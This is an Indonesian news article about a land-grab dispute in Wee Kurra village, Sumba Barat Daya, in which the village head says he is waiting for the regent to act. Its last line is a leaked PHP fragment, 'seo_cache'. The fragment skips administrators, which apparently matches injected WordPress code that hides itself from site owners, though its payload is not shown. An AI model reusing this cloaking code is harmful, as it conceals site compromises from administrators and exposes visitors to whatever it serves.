Berita Desa

Kades Wee Kurra, Dominikus Lede Malo : Terkait Penyerobotan Lahan, Kami Hanya Menanti Tindak Lanjut Pemerintah Kabupaten SBD

×

Kades Wee Kurra, Dominikus Lede Malo : Terkait Penyerobotan Lahan, Kami Hanya Menanti Tindak Lanjut Pemerintah Kabupaten SBD

Sebarkan artikel ini

WEWEWA BARAT, MENARASUMBA.COM – Titik terang penyelesaian masalah penyerobotan lahan milik warga Eru Naga, Desa Wee Kurra, Kecamatan Wewewa Barat belum terlihat.

Mirisnya, setelah warga pemilik lahan yang jadi korban penyerobotan diminta untuk menenangkan diri, justru para oknum penyerobot kian brutal.

Kapolsek dan Camat saat meninjau lokasi lahan yang diserobot pada bulan Juni lalu.

Terakhir, Pemerintah Desa Weri Lolo, Kecamatan Wewewa Selatan diduga ikut “bermain api” dengan membangun jalan yang membentang masuk ke lokasi kebun warga Eru Naga.

Hal tersebut disampaikan Kepala Desa Wee Kurra, Dominikus Lede Malo saat dikonfirmasi awak media, Senin (18/08/2025) di kediamannya.

“Mengetahui adanya pembangunan jalan itu, saya dan beberapa warga mengadukan kepada Camat Wewewa Barat,” tuturnya.

Setelah dilaporkan, Camat Wewewa Barat langsung menghubungi Camat Wewewa Selatan lewat handphone.

Namun bukannya mengonfirmasi Kepala Desa Weri Lolo, Camat Wewewa Selatan yang saat itu berada di Waingapu, Sumba Timur langsung menjawab bahwa informasi itu tidak benar.

Dari seberang telepon Camat Wewewa Selatan justru mengatakan jangan percaya karena jalan itu hanya melintas di depan rumah Lukas Camma, anggota DPRD SBD, bukan di lokasi kebun warga Eru Naga.

“Kami sangat sesalkan jawaban Camat Wewewa Selatan yang tidak mengecek kebenaran informasi kepada kepala desa tapi langsung mengatakan bahwa apa yang kami sampaikan tidak benar,” katanya kesal.

Selaku kepala desa, Dominikus kesal karena harus berupaya keras mengendalikan warganya agar menahan diri dan tidak bertindak anarkis.

Ia kini hampir putus asa karena berbagai upaya belum membuahkan hasil, sementara desakan warga juga kian tidak terbendung.

“Warga saya yang dalam hal ini adalah pemilik lahan diminta untuk tenang, sementara dari pihak sebelah terus beraktivitas di lokasi sampai hari ini,” ungkapnya.

Padahal, saat awal kejadian pihak pemerintah kecamatan bersama Kapolsek dan Babinsa sudah turun melihat lokasi.

Bahkan ketika itu mendapati aktivitas sejumlah orang di lahan warga Eru Naga tersebut.

Setelah itu pihaknya juga sudah bersurat kepada berbagai unsur terkait meminta bantuan untuk selesaikan persoalan.

“Kami sudah kirim surat, tapi tidak ada yang turun sampai hari ini,” akunya.

Terakhir persoalan itu diadukan ke Bupati SBD yang ditemui secara langsung di kediamannya, Reda Bolo.

“Saat itu saya utarakan kepada Ibu Bupati jangan sampai nanti timbul hal yang tidak diinginkan apabila persoalan ini dibiarkan berlarut-larut,” jelas Kades Dominikus.

Respons bupati kala itu, lanjutnya lagi, akan menindaklanjuti dan memanggil Camat Wewewa Selatan.

“Saya akan telepon Camat Wewewa Selatan untuk bertemu dan bisa menyelesaikan masalah ini,” imbuhnya menirukan ucapan bupati saat itu.

Namun setelah itu sampai kini belum ada informasi apa pun terkait kejelasan urusan penyerobotan lahan warga Eru Naga di Desa Wee Kurra.

Salah satu beban tersendiri baginya selaku pimpinan wilayah, selama ini warga di dusun tersebut adalah wajib pajak yang setiap tahun patuh melunasi tanggungan Pajak Bumi dan Bangunan atas lahan yang kini diserobot pihak dari wilayah lain.

“Satu-satunya harapan kami saat ini adalah menanti tindak lanjut dari Ibu Bupati,” pungkasnya. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>